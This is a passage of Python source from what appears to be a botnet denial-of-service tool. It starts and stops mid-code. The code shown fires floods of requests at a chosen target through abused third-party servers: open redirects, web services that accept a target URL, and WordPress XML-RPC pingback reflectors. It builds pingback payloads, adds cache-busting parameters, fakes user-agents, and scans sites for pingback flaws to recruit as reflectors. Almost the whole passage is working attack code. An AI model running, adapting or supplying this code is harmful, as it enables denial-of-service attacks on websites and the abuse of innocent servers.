with 'maser-melee' weapons...")        options = self.options        target = self.options.target        shuffle(zombies) # shuffle zombies order, each round :-)        if not self.options.disablepurge:            for zombie in zombies: # check if zombie is failing for autobalance army                if not zombie.startswith('http'): # discarded inmediately                    self.discardzombies.append(zombie)                    self.num_discard_zombies = self.num_discard_zombies + 1                zombies = self.discarding_zombies(zombie, zombies)        if not self.options.disablepurge:            if not zombies: # return when not any working                self.empty_zombies = True                return        for zombie in zombies:            t = urlparse(zombie)            name_zombie = t.netloc            if name_zombie == "":                name_zombie = zombie            if not self.options.attackme:                print("[Info] [Zombies] Attacking from: " + name_zombie)            else: # on attackme, target url is dynamic -> http://public_ip:port/hash|zombie                self.mothership_hash = random.getrandbits(128) # generating random evasion hash                  target = "http://" + str(self.pub_ip) + ":" + self.port + "/"+ str(self.mothership_hash) + "|" + zombie                self.options.target = target                print("[Info] [Zombies] Attacking: " + str(self.pub_ip) + ":" + self.port + " -> [LAN]" + self.local_ip + ":" + self.port)                print("[Info] [Zombies] Payload: " + target)                print('='*55, "\n")            self.user_agent = random.choice(self.agents).strip() # shuffle user-agent            if not options.target.startswith('http'):                if options.forcessl:                    options.target = "https://" + options.target                else:                    options.target = "http://" + options.target            self.attack_mode = True            try:                if options.verbose:                    print("[Info] [Zombies] Sniping: " + options.target)                self.connect_zombies(zombie)                if self.options.dbstress: # try to stress db on target by using vulnerable Open Redirect web servers                    self.db_flash = self.db_flash + 1                    stress = self.stressing(target, zombie)            except Exception:                print("[Info] [Zombies] " + zombie + " -> FAILED (cannot connect!)")                self.total_zombies_failed_connection = self.total_zombies_failed_connection + 1 # used to manage threading pool                if not self.options.disablepurge:                    self.discardzombies.append(zombie)                    self.num_discard_zombies = self.num_discard_zombies + 1            if self.options.verbose:                print("[Info] [AI] [Zombies] "+str(name_zombie)+" is returning...")            self.attack_mode = False    def discarding_aliens(self, alien, aliens):        if alien in self.discard_aliens:            aliens.remove(alien)            if self.options.verbose:                print(("[Info] [AI] [Control] [Aliens] "+str(alien)+" is not working! -> [Discarding!]"))            self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats        return aliens    def send_aliens(self, aliens):        # extract external web abuse services urls (POST) and perform requests against target        time.sleep(2) # aiming (multi-threading flow time compensation)        if not self.options.disablepurge:            if not aliens: # return when not any working                self.options.disablealiens = True                return        target = self.options.target        options = self.options        shuffle(aliens) # shuffle aliens         if not self.options.disablepurge:            for alien in aliens:                if not alien.startswith('http'): # discarded inmediately                    self.discard_aliens.append(alien)                    self.num_discard_aliens = self.num_discard_aliens + 1                aliens = self.discarding_aliens(alien, aliens) # check if alien is failing for autobalance army        if not self.options.disablepurge:            if not aliens: # return when not any working                self.options.disablealiens = True                return        shuffle(aliens) # shuffle aliens order, each discarding check :-)        for alien in aliens:            if "$POST" in alien: # extract alien/parameters -> search for $POST delimiter on 'aliens.txt' file                regex_alien = re.compile('{}(.*){}'.format(re.escape(''), re.escape(';$POST'))) # regex magics                pattern_alien = re.compile(regex_alien)                alien_url = re.findall(pattern_alien, alien) # HTTP POST url for submit data                regex_param = re.compile('{}(.*){}'.format(re.escape('$POST;'), re.escape(''))) # regex magics                pattern_param = re.compile(regex_param)                param = re.findall(pattern_param, alien) # HTTP POST params to submit                for u in alien_url:                    url = u # ex: POST -> path/submit.php                t = urlparse(url)                name_alien = t.netloc                if name_alien == "":                    name_alien = alien                print("[Info] [Aliens] Attacking from: " + name_alien)                for p in param:                    param_target = {p : target} # ex POST -> url=target                    param_target = urllib.parse.urlencode(param_target)                try:                    if options.verbose:                        print("[Info] [Aliens] Sniping: " + url + " - POST:", param_target)                    if options.proxy: # set proxy                        self.proxy_transport(options.proxy)                    if self.options.timeout: # set timeout                        try:                            alien_timeout = int(self.options.timeout)                        except:                            alien_timeout = 5                     else:                        alien_timeout = 5                     if alien_timeout < 1:                        alien_timeout = 5                     req = urllib.request.Request(url, param_target.encode('utf-8'))                    rsp = urllib.request.urlopen(req, context=self.ctx, timeout=alien_timeout)                    self.aliens_hit = self.aliens_hit + 1 # add hit to aliens stats                except Exception:                    print("[Info] [Aliens] " + name_alien + " -> FAILED (cannot connect!)")                    self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats                    if not self.options.disablepurge:                        self.discard_aliens.append(alien)                        self.num_discard_aliens = self.num_discard_aliens + 1            else:                print(("[Info] [Aliens] "+str(alien)+" -> FAILED (invalid alien!)"))                self.aliens_fail = self.aliens_fail + 1 # add fail to aliens stats                if not self.options.disablepurge:                    self.discard_aliens.append(alien)                    self.num_discard_aliens = self.num_discard_aliens + 1            if self.options.verbose:                print("[Info] [AI] [Aliens] "+str(name_alien)+" is returning...")        if self.options.disabledroids and self.options.disablerpcs and self.options.disableucavs:            self.extra_zombies_lock = False # [ARMY] have finished    def extract_aliens(self):        # extract aliens from file        options = self.options        try:            f = open(self.aliens_file)            aliens = f.readlines()            aliens = [ alien.replace('\n','') for alien in aliens ]            f.close()            if not aliens:                print("[Info] [AI] [Control] Cannot retrieve [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")                self.options.disablealiens = True                return            else:                return aliens        except:            if os.path.exists(self.aliens_file) == True:                print("[Info] [AI] [Control] Cannot open [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")                return #sys.exit(2)            else:                print("[Info] [AI] [Control] Cannot found [Aliens] from: 'botnet/aliens.txt' -> [Discarding!]")                return #sys.exit(2)    def discarding_droids(self, droid, droids):        if droid in self.discard_droids:            droids.remove(droid)            if self.options.verbose:                print(("[Info] [AI] [Control] [Droids] "+str(droid)+" is not working! -> [Discarding!]"))            self.droids_fail = self.droids_fail + 1 # add fail to droids stats        return droids    def send_droids(self, droids):        # extract external web abuse services urls (GET) and perform requests against target        time.sleep(3) # aiming (multi-threading flow time compensation)        if not self.options.disablepurge:            if not droids: # return when not any working                self.options.disabledroids = True                return        target = self.options.target        try:            target = urllib.parse.unquote(target).decode('utf8') # parte urlencoding        except:            target = urllib.parse.unquote(target)        if target.startswith('http://'): # remove http            target = target.replace('http://', '')        if target.startswith('https://'):            target = target.replace('https://', '') # remove https        options = self.options        shuffle(droids) # shuffle droids        if not self.options.disablepurge:            for droid in droids:                if not droid.startswith('http'): # discarded inmediately                    self.discard_droids.append(droid)                    self.num_discard_droids = self.num_discard_droids + 1                droids = self.discarding_droids(droid, droids) # check if droid is failing for autobalance army        if not self.options.disablepurge:            if not droids: # return when not any working                self.options.disabledroids = True                return        shuffle(droids) # shuffle droids order, each discarding check :-)        for droid in droids:            if "$TARGET" in droid: # replace droid/parameter for target                url = droid.replace("$TARGET", target)                t = urlparse(url)                name_droid = t.netloc                if name_droid == "":                    name_droid = droid                print("[Info] [Droids] Attacking from: " + name_droid)                self.user_agent = random.choice(self.agents).strip() # shuffle user-agent                 headers = {'User-Agent' : self.user_agent, 'Content-type' : "application/x-www-form-urlencoded", 'Referer' : self.referer, 'Connection' : 'keep-alive'} # set fake headers                try:                    if options.proxy: # set proxy                        self.proxy_transport(options.proxy)                    if self.options.timeout: # set timeout                        try:                            droid_timeout = int(self.options.timeout)                        except:                            droid_timeout = 5                    else:                        droid_timeout = 5                    if droid_timeout < 1:                        droid_timeout = 5                     req = urllib.request.Request(url, None, headers)                    rsp = urllib.request.urlopen(req, context=self.ctx, timeout=droid_timeout)                    self.droids_hit = self.droids_hit + 1 # add hit to droids stats                except Exception:                    print("[Info] [Droids] " + name_droid + " -> FAILED (cannot connect!)")                    self.droids_fail = self.droids_fail + 1 # add fail to droids stats                    if not self.options.disablepurge:                        self.discard_droids.append(droid)                        self.num_discard_droids = self.num_discard_droids + 1            else:                print("[Info] [Droids] " + str(droid) + " -> FAILED (invalid droid!)")                self.droids_fail = self.droids_fail + 1 # add fail to droids stats                if not self.options.disablepurge:                    self.discard_droids.append(droid)                    self.num_discard_droids = self.num_discard_droids + 1            if self.options.verbose:                print("[Info] [AI] [Droids] "+str(name_droid)+" is returning...")        if self.options.disablerpcs and self.options.disableucavs:            self.extra_zombies_lock = False # [ARMY] have finished    def extract_droids(self):        # extract droids from file        options = self.options        try:            f = open(self.droids_file)            droids = f.readlines()            droids = [ droid.replace('\n','') for droid in droids ]            f.close()            if not droids:                print("[Info] [AI] [Control] Cannot retrieve [Droids] from: 'botnet/droids.txt' -> [Discarding!]")                self.options.disabledroids = True                return            else:                return droids        except:            if os.path.exists(self.droids_file) == True:                print("[Info] [AI] [Control] Cannot open [Droids] from: 'botnet/droids.txt' -> [Discarding!]")                return #sys.exit(2)            else:                print("[Info] [AI] [Control] Cannot found [Droids] from: 'botnet/droids.txt' -> [Discarding!]")                return #sys.exit(2)    def discarding_rpcs(self, rpc, rpcs):        if rpc in self.discard_rpcs:            rpcs.remove(rpc)            if self.options.verbose:                print(("[Info] [AI] [Control] [X-RPCs] "+str(rpc)+" is not working! -> [Discarding!]"))        return rpcs    def send_rpcs(self, rpcs):        # extract vulnerable XML-RPC pingback services and perform requests against target        time.sleep(4) # aiming (multi-threading flow time compensation)        if not self.options.disablepurge:            if not rpcs: # return when not any working                self.options.disablerpcs = True                return        target = self.options.target        options = self.options        def random_key(length):            key = ''            for i in range(length):                key += random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits)            return key        shuffle(rpcs) # shuffle rpcs        if not self.options.disablepurge:            for rpc in rpcs:                if not rpc.startswith('http'): # discarded inmediately                    if not self.options.disablepurge:                        self.discard_rpcs.append(rpc)                        self.num_discard_rpcs = self.num_discard_rpcs + 1                    self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats                rpcs = self.discarding_rpcs(rpc, rpcs) # check if rpc is failing for autobalance army        if not self.options.disablepurge:            if not rpcs: # return when not any working                self.options.disablerpcs = True                return        shuffle(rpcs) # shuffle rpcs order, each discarding check :-)        for rpc in rpcs:            t = urlparse(rpc)            name_rpc = t.netloc            if name_rpc == "":                name_rpc = rpc            print("[Info] [X-RPCs] Attacking from: " + name_rpc)            self.user_agent = random.choice(self.agents).strip() # shuffle user-agent            headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer            key = random_key(8) # generate random value page to bypass cache            rpc_page = "?" + str(key)            key = random_key(6) # re-generate random value id to bypass cache            rpc_id = "=" + str(key)            target_place = target + rpc_page + rpc_id # random place to bypass cache (ex: www.target.com?U7OvBdp1=4lMcNj)            if "/xmlrpc.php" in rpc:                rpc_place = rpc.replace("xmlrpc.php", "")                rpc_exploit = "<methodCall><methodName>pingback.ping</methodName><params><param><value><string>"+target_place+"</string></value></param><param><value><string>"+rpc_place+"</string></value></param></params></methodCall>"                try:                    if options.proxy: # set proxy                        self.proxy_transport(options.proxy)                    if self.options.timeout: # set timeout                        try:                            rpc_timeout = int(self.options.timeout)                        except:                            rpc_timeout = 5                     else:                        rpc_timeout = 5                     if rpc_timeout < 1:                        rpc_timeout = 5                     req = urllib.request.Request(rpc, rpc_exploit.encode('utf-8'), headers)                    urllib.request.urlopen(req, context=self.ctx, timeout=rpc_timeout)                    self.rpcs_hit = self.rpcs_hit + 1 # add rpc hit to stats                    if self.options.verbose:                        print("[Info] [X-RPCs] Reply:", target_reply)                except:                    print("[Info] [X-RPCs] " + name_rpc + " -> FAILED (cannot connect!)")                    self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats                    if not self.options.disablepurge:                        self.discard_rpcs.append(rpc)                        self.num_discard_rpcs = self.num_discard_rpcs + 1            else:                print("[Info] [X-RPCs] " + name_rpc + " -> FAILED (invalid X-RPC!)")                self.rpcs_fail = self.rpcs_fail + 1 # add rpc fail to stats                if not self.options.disablepurge:                    self.discard_rpcs.append(rpc)                    self.num_discard_rpcs = self.num_discard_rpcs + 1            if self.options.verbose:                print("[Info] [AI] [X-RPCs] "+str(name_rpc)+" is returning...")        if self.options.disableucavs:            self.extra_zombies_lock = False # [ARMY] have finished    def extract_rpcs(self):        # extract rpcs from file        options = self.options        try:            f = open(self.rpcs_file)            rpcs = f.readlines()            rpcs = [ rpc.replace('\r','') for rpc in rpcs ]            rpcs = [ rpc.replace('\n','') for rpc in rpcs ]            f.close()            if not rpcs:                print("[Info] [AI] [Control] Cannot retrieve [X-RPCs] from: 'botnet/rpcs.txt' -> [Discarding!]")                self.options.disablerpcs = True                return            else:                return rpcs        except:            if os.path.exists(self.rpcs_file) == True:                print("[Info] [AI] [Control] Cannot open [X-RPCs] from: 'botnet/rpcs.txt' -> [Discarding!]")                return            else:                print("[Info] [AI] [Control] Cannot found [X-RPCs] from: 'botnet/rpcs.txt' [Discarding!]")                return    def extract_ntps(self):        # extract ntps from file        options = self.options        try:            f = open(self.ntps_file)            ntps = f.readlines()            ntps = [ ntp.replace('\r','') for ntp in ntps ]            ntps = [ ntp.replace('\n','') for ntp in ntps ]            f.close()            if not ntps:                print("[Info] [AI] [Control] Cannot retrieve [NTPs] from: 'botnet/ntps.txt' -> [Discarding!]")                return            else:                return ntps        except:            if os.path.exists(self.ntps_file) == True:                print("[Info] [AI] [Control] Cannot open [NTPs] from: 'botnet/ntps.txt' -> [Discarding!]")                return            else:                print("[Info] [AI] [Control] Cannot found [NTPs] from: 'botnet/ntps.txt' [Discarding!]")                return    def extract_dnss(self):        # extract dnss from file        options = self.options        try:            f = open(self.dnss_file)            dnss = f.readlines()            dnss = [ dns.replace('\r','') for dns in dnss ]            dnss = [ dns.replace('\n','') for dns in dnss ]            f.close()            if not dnss:                print("[Info] [AI] [Control] Cannot retrieve [DNSs] from: 'botnet/dnss.txt' -> [Discarding!]")                return            else:                return dnss        except:            if os.path.exists(self.dnss_file) == True:                print("[Info] [AI] [Control] Cannot open [DNSs] from: 'botnet/dnss.txt' -> [Discarding!]")                return            else:                print("[Info] [AI] [Control] Cannot found [DNSs] from: 'botnet/dnss.txt' [Discarding!]")                return    def extract_zombies(self):        options = self.options        if self.options.test:            try:                f = open(options.test)                zombies = f.readlines()                zombies = [ zombie.replace('\n','') for zombie in zombies ]                f.close()                if not zombies:                    print("\n[Error] [AI] [Control] Cannot retrieve [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")                    return                else:                    return zombies            except:                if os.path.exists(options.test) == True:                    print("\n[Error [AI] [Control] Cannot open [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")                    return #sys.exit(2)                else:                    print("\n[Error] [AI] [Control] Cannot found [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")                    return #sys.exit(2)        else:            try:                f = open(self.zombies_file)                zombies = f.readlines()                zombies = [ zombie.replace('\n','') for zombie in zombies ]                f.close()                if not zombies:                    print("\n[Error] [AI] You haven't [Zombies] to be extracted from: 'botnet/zombies.txt' -> [Aborting!]\n")                    return                else:                    return zombies            except:                if os.path.exists(self.zombies_file) == True:                    print("\n[Error] [AI] [Control] Cannot open [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")                    return #sys.exit(2)                else:                    print("\n[Error] [AI] [Control] Cannot found [Zombies] from: 'botnet/zombies.txt' -> [Aborting!]\n")                    return #sys.exit(2)    def extract_target_list(self):        options = self.options        try:            f = open(options.target_list)            targets = f.readlines()            targets = [ target.replace('\n','') for target in targets ]            f.close()            if not targets:                print("\n[Error] [AI] [Control] Cannot retrieve [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")                return            else:                return targets        except:            if os.path.exists(options.target_list) == True:                print("\n[Error] [AI] [Control] Cannot found [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")                return #sys.exit(2)            else:                print("\n[Error] [AI] [Control] Cannot open [Targets] from: '"+options.target_list+"' -> [Aborting!]\n")                return #sys.exit(2)    def update_zombies(self, zombies_ready):        # update zombies on file        options = self.options        if options.attackme:            f = open(self.zombies_file, "w") # re-write list            for zombie in self.doll.real_zombies: # add only alien verified zombies                for x in zombie:                    f.write(str(x) + os.linesep)            f.close()        if options.test or options.testall:            if not options.test:                options.test = self.zombies_file            f = open(options.test, "w") # re-write list only with zombies ready            for zombie in zombies_ready:                f.write(zombie + os.linesep)            f.close()        if options.search or options.dorks or options.autosearch or options.download or options.download_github: # append only new zombies to list (dorking supported)            f = open(self.zombies_file)            zombies_on_file = f.read().splitlines()            with open(self.zombies_file, "a") as zombie_list:                 for zombie in zombies_ready:                    if zombie not in zombies_on_file: # parse possible repetitions                        zombie_list.write(zombie + os.linesep)                        if options.download or options.download_github:                            self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)                        else:                            self.scanned_zombies = self.scanned_zombies + 1 # update scanner stats only with new zombies (dorking)            f.close()    def update_aliens(self, aliens_ready):        # update aliens on file        options = self.options        if options.download or options.download_github: # append only new aliens to list            f = open(self.aliens_file)            aliens_on_file = f.read().splitlines()            with open(self.aliens_file, "a") as alien_list:                for alien in aliens_ready:                    if alien not in aliens_on_file: # parse possible repetitions                        alien_list.write(alien + os.linesep)                        self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)            f.close()    def update_droids(self, droids_ready):        # update droids on file        options = self.options        if options.download or options.download_github: # append only new droids to list            f = open(self.droids_file)            droids_on_file = f.read().splitlines()            with open(self.droids_file, "a") as droid_list:                for droid in droids_ready:                    if droid not in droids_on_file: # parse possible repetitions                        droid_list.write(droid + os.linesep)                        self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)            f.close()    def update_ucavs(self, ucavs_ready):        # update ucavs on file        options = self.options        if options.download or options.download_github: # append only new ucavs to list            f = open(self.ucavs_file)            ucavs_on_file = f.read().splitlines()            with open(self.ucavs_file, "a") as ucav_list:                for ucav in ucavs_ready:                    if ucav not in ucavs_on_file: # parse possible repetitions                        ucav_list.write(ucav + os.linesep)                        self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)            f.close()    def update_rpcs(self, rpcs_ready):        # update rpcs on file        options = self.options        if options.testrpc or options.testall:            f = open(self.rpcs_file, "w") # re-write list            for rpc in rpcs_ready: # add only rpc verified zombies                f.write(rpc + os.linesep)            f.close()        if options.download or options.download_github: # append only new rpcs to list            f = open(self.rpcs_file)            rpcs_on_file = f.read().splitlines()            with open(self.rpcs_file, "a") as rpc_list:                for rpc in rpcs_ready:                    if rpc not in rpcs_on_file: # parse possible repetitions                        rpc_list.write(rpc + os.linesep)                        self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)            f.close()    def update_dnss(self, dnss_ready):        # update dns on file        options = self.options        if options.download or options.download_github: # append only new dns to list            f = open(self.dnss_file)            dnss_on_file = f.read().splitlines()            with open(self.dnss_file, "a") as dns_list:                for dns in dnss_ready:                    if dns not in dnss_on_file: # parse possible repetitions                        dns_list.write(dns + os.linesep)                        self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)            f.close()    def update_ntps(self, ntps_ready):        # update ntps on file        options = self.options        if options.download or options.download_github: # append only new ntps to list            f = open(self.ntps_file)            ntps_on_file = f.read().splitlines()            with open(self.ntps_file, "a") as ntp_list:                for ntp in ntps_ready:                    if ntp not in ntps_on_file: # parse possible repetitions                        ntp_list.write(ntp + os.linesep)                        self.trans_zombies = self.trans_zombies + 1 # update trans stats only with new zombies (blackhole)            f.close()    def search_rpc(self, rpc_host):        options = self.options        rpc_vulnerable = False        rpc_pingback_url = False        self.user_agent = random.choice(self.agents).strip() # shuffle user-agent        headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer        try:            if self.options.testall: # testing_all                if options.proxy: # set proxy                    self.proxy_transport(options.proxy)                req = urllib.request.Request(rpc_host, None, headers)                rpc_code = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')                rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)                for link in rpc_links:                    if 'xmlrpc.php' in link[0] and not "rsd" in link[0]: # extract rpc server url (discarding 'rsd' url)                        rpc_pingback_url = link[0]                        rpc_vulnerable = True                        break # found it!                    else: # not any XML-RPC discovering methods are working                        rpc_pingback_url = rpc_host + "/xmlrpc.php"                        rpc_vulnerable = False            else:                if rpc_host.startswith("http://"):                    rpc_host = rpc_host.replace("http://", "")                if rpc_host.startswith("https://"):                    rpc_host = rpc_host.replace("https://", "")                rpc_host = urlparse(rpc_host)                rpc_path = rpc_host.path.replace("\r", "")                self.head = True # send HTTP HEAD request searching for: X-Pingback                reply = self.connect_zombie(rpc_path)                self.head = False                if "X-Pingback" in reply: # discovering pingback-enabled resources                    m = re.search('X-Pingback: (.+?)\n', reply) # regex magics                    rpc_pingback_url = m.group(1) # extract rpc server url                    rpc_vulnerable = True                else: # not X-Pingback on HTTP Headers (search for <link rel="pingback"... on HTML/XHTML code)                    if options.proxy: # set proxy                        self.proxy_transport(options.proxy)                    req_rpc = urllib.request.Request(rpc_host, None, headers)                    req_rpc.get_method = lambda : 'GET'                    rpc_code = urllib.request.urlopen(req_rpc, context=self.ctx).read().decode('utf-8')                    rpc_links = re.findall('"((http|ftp)s?://.*?)"', rpc_code)                    for link in rpc_links:                        if 'xmlrpc.php' in link[0] and not "rsd" in link[0]: # extract rpc server url (discarding 'rsd' url)                            rpc_pingback_url = link[0]                            rpc_vulnerable = True                            break # found it!                        else: # not any XML-RPC discovering methods are working                            rpc_pingback_url = rpc_host + "/xmlrpc.php"                            rpc_vulnerable = False        except: # something wrong discovering XML-RPC Pingback            pass        return rpc_vulnerable, rpc_pingback_url    def testing_offline(self):        # check for zombies offline        print ("\n[Info] [AI] Checking for [Zombies] offline!\n")        print('='*35)        zombies_online = 0        zombies_offline = 0        zombies = self.extract_zombies()        rpcs = self.extract_rpcs()        aliens = self.extract_aliens()        droids = self.extract_droids()        ucavs = self.extract_ucavs()        try:            botnet = zombies + rpcs + aliens + droids + ucavs        except:            return        discarded = [] # for discarded zombies        if not botnet:            return        self.head = True        for zombie in botnet:            zombie = str(zombie)            if zombie in zombies: # set zombie type (this way because cannot be same zombie with different type)                zombie_type = 'Zombie'            elif zombie in rpcs:                zombie_type = 'XML-RPC'            elif zombie in aliens:                zombie_type = 'Alien'            elif zombie in droids:                zombie_type = 'Droid'            elif zombie in ucavs:                zombie_type = 'UCAV'            t = urlparse(zombie)            name_zombie = t.netloc            if name_zombie == "":                name_zombie = zombie            if zombie_type == 'Alien': # [Aliens] are made with keyword ;$POST;                sep = ';$POST;'                zombie = zombie.split(sep, 1)[0]            reply = str(self.connect_zombie(zombie))            if reply:                status = "ONLINE!"                zombies_online = zombies_online + 1            else:                status = "NOT Working!"                zombies_offline = zombies_offline + 1            print("\nName:", name_zombie)            print("Type: [", zombie_type, "]")            print("Vector:", zombie)            print("HTTP Code:", reply)            print("STATUS:", status)            print('-'*21)            if status == "NOT Working!": # add to discarded zombies                if zombie not in discarded:                    discarded.append(zombie)        print("\n" + '='*52)        print("\n+ Total Botnet:", len(botnet))        print("\n" + '-'*25 + "\n")        print("  - ONLINE:", zombies_online)        print("  - OFFLINE:", zombies_offline, "\n")        print('='*52 + '\n')        self.head = False        if zombies_offline > 0:            if not self.options.forceyes:                test_reply = input("[AI] Do you want to update your army? (Y/n)\n")                print('-'*25 + "\n")            else:                test_reply = "Y"            if test_reply == "n" or test_reply == "N":                print("[AI] "+self.exit_msg+"\n")                return            else:                disc_zombies = self.discard_zombies(discarded) # discard zombies (remove from files)                print('='*52)                print("\n  - DISCARDED:", disc_zombies)                new_botnet = int(len(botnet) - disc_zombies)                print("\n+ New Total Botnet:", str(new_botnet), "\n")                print('='*52 + '\n')        else:            print("[Info] [AI] [Control] ALL checked [Zombies] are ONLINE! -> [Exiting!]\n")    def send_extra_zombies(self):        # check for extra zombies: aliens, droids, rpcs, ucavs... and start attacking with them        if not self.options.disablealiens and not self.options.attackme: # different layers requests -> pure web abuse            if self.options.verbose:                print("[Info] [AI] [Control] Deploying [Aliens] with heavy 'laser-cannon' weapons...")            aliens = [self.extract_aliens()] # extract aliens from file to a list            for a in aliens:                if a is None:                    self.options.disablealiens = True                    self.total_aliens = 0 # not any alien invoked                else:                    for s in a: # extract number of aliens                        self.total_aliens = self.total_aliens + 1            al = threading.Thread(target=self.send_aliens, args=(aliens)) # multithreading to send aliens            al.start()        else:            self.options.disablealiens = True            self.total_aliens = 0 # not any alien invoked        if not self.options.disabledroids and not self.options.attackme: # GET (with parameter required) requests            if self.options.verbose:                print("[Info] [AI] [Control] Deploying [Droids] with light 'laser-cannon' weapons...")            droids = [self.extract_droids()] # extract droids from file to a list            for d in droids:                if d is None:                    self.options.disabledroids = True                    self.total_droids = 0 # not any droid invoked                else:                    for s in d: # extract number of droids                        self.total_droids = self.total_droids + 1            dr = threading.Thread(target=self.send_droids, args=(droids)) # multithreading to send droids            dr.start()        else:            self.options.disabledroids = True            self.total_droids = 0 # not any droid invoked        if not self.options.disablerpcs and not self.options.attackme: # exploit XML-RPC pingback vulnerability            if self.options.verbose:                print("[Info] [AI] [Control] Deploying [X-RPCs] with 'plasma cannon' weapons...")            rpcs = [self.extract_rpcs()] # extract rpcs from file to a list            for r in rpcs:                if r is None:                    self.options.disablerpcs = True                    self.total_rpcs = 0 # not any rpc invoked                else:                    for s in r: # extract number of rpcs                        self.total_rpcs = self.total_rpcs + 1            rp = threading.Thread(target=self.send_rpcs, args=(rpcs)) # multithreading to send rpcs            rp.start()        else:            self.options.disablerpcs = True            self.total_rpcs = 0 # not any rpcs invoked        if not self.options.disableucavs and not self.options.attackme: # perform an external 'Is target up?' round check            if self.options.verbose:                print("[Info] [AI] [Control] Deploying [UCAVs] with 'heat-beam' weapons and 'status check' scanners...")             ucavs = [self.extract_ucavs()] # extract ucavs from file to a list            for u in ucavs:                if u is None:                    self.options.disableucavs = True                    self.total_ucavs = 0 # not any ucav invoked                else:                    for s in u: # extract number of ucavs                        self.total_ucavs = self.total_ucavs + 1            uc = threading.Thread(target=self.send_ucavs, args=(ucavs)) # multithreading to send ucavs            uc.start()        else:            self.options.disableucavs = True            self.total_ucavs = 0 # not any ucavs invoked    def abandoning_zombies(self):        if self.options.expire: # set timing for purge            try:                timing = int(self.options.expire)            except:                timing = self.expire_timing # default timing for purge        else:            timing = self.expire_timing # default timing for purge        if timing < 1:            timing = self.expire_timing # default timing for purge        zombies_arrival_timing = timing # timing = trying to control round time for threading flow        zombies_lock = 0        if self.options.verbose:            print("[Info] [AI] [Control] Setting ["+str(zombies_arrival_timing)+"] per round for [Zombies] to return...")        while self.herd.no_more_zombies() == False: # abandoning -controller- zombies            zombies_lock = zombies_lock + 1            if zombies_lock > zombies_arrival_timing: # execute main abandoning routine!                if self.options.verbose:                    print("\n[Info] [AI] [Control] Return time set [~"+str(zombies_arrival_timing)+"] for [Zombies] is over! -> [Expiring!]")                break            else:                time.sleep(1)    def discard_zombies(self, discarded):        disc_zombies = 0        if self.options.testoffline:            zombies_list = [self.zombies_file, self.aliens_file, self.droids_file, self.ucavs_file, self.rpcs_file]        else:            zombies_list = [self.zombies_file]            if not self.options.disablealiens: # add aliens                zombies_list.append(self.aliens_file)            if not self.options.disabledroids: # add droids                zombies_list.append(self.droids_file)            if not self.options.disablerpcs: # add rpcs                zombies_list.append(self.rpcs_file)            if not self.options.disableucavs: # add ucavs                zombies_list.append(self.ucavs_file)        for l in zombies_list:            f = open(l, "r+")            d = f.readlines()            f.close()            f = open(l, "w")            disc_zombies = self.remove_discarded_zombies(f, d, discarded, disc_zombies)            f.close()        return disc_zombies    def remove_discarded_zombies(self, f, d, discarded, disc_zombies):        m = []        for zombie in d:           if zombie not in discarded == True:               m.append(zombie) # save it           else:               disc_zombies = disc_zombies + 1        if not m:            f.write("")        else:            for z in m:                f.write(z+os.linesep)        return disc_zombies    def testing_rpcs(self, rpcs):        # discover/test XML-RPC Pingback vulnerabilities on webapps (Wordpress, Drupal, PostNuke, b2evolution,         # Xoops, PHPGroupWare, TikiWiki, etc...) and update list        options = self.options        if self.options.testall: #testing_all            print('='*51)        print ("Are 'plasma' reflectors ready? :-) (XML-RPC Check):")        print('='*51)        num_active_rpcs = 0        num_failed_rpcs = 0        rpcs_ready = []        print("Trying:", len(rpcs))        print('-'*21)        for rpc in rpcs:            self.user_agent = random.choice(self.agents).strip() # shuffle user-agent            headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer            if rpc.startswith("http://") or rpc.startswith("https://"):                print("[Info] [X-RPCs] Searching 'Pingback' on:", rpc)                rpc_host = rpc.replace("/xmlrpc.php", "")                rpc_vulnerable, rpc_pingback_url = self.search_rpc(rpc_host)                if rpc_vulnerable == True: # discover XML-RPC system.listMethods allowed                    rpc_methods = "<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>"                    try:                        if options.proxy: # set proxy                            self.proxy_transport(options.proxy)                        req = urllib.request.Request(rpc_pingback_url, rpc_methods.encode('utf-8'), headers)                        target_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')                        if self.options.verbose:                            print("[Info] [X-RPCs] Reply:", target_reply)                        if "pingback.ping" in target_reply: # XML-RPC pingback.ping method is allowed!                            print("[Info] [AI] [ "+rpc+" ] ->  [VULNERABLE!]")                            rpcs_ready.append(rpc_pingback_url) # save XML-RPC path as RPC zombie                            num_active_rpcs = num_active_rpcs + 1 # add fail to rpcs stats                        else:                            print("[Info] [AI] [ "+rpc+" ] ->  [NOT vulnerable...]")                            num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats                    except:                        print("[Info] [AI] It is NOT vulnerable...")                        num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats                else:                    print("[Info] [AI] It is NOT vulnerable...")                    num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats        print('='*18)        print("OK:", num_active_rpcs, "Fail:", num_failed_rpcs)        print('='*18)        if self.options.testall: # testing_all            return rpcs_ready, num_active_rpcs, num_failed_rpcs        else:            # update 'rpcs' list            if num_active_rpcs == 0:                print("\n[Info] 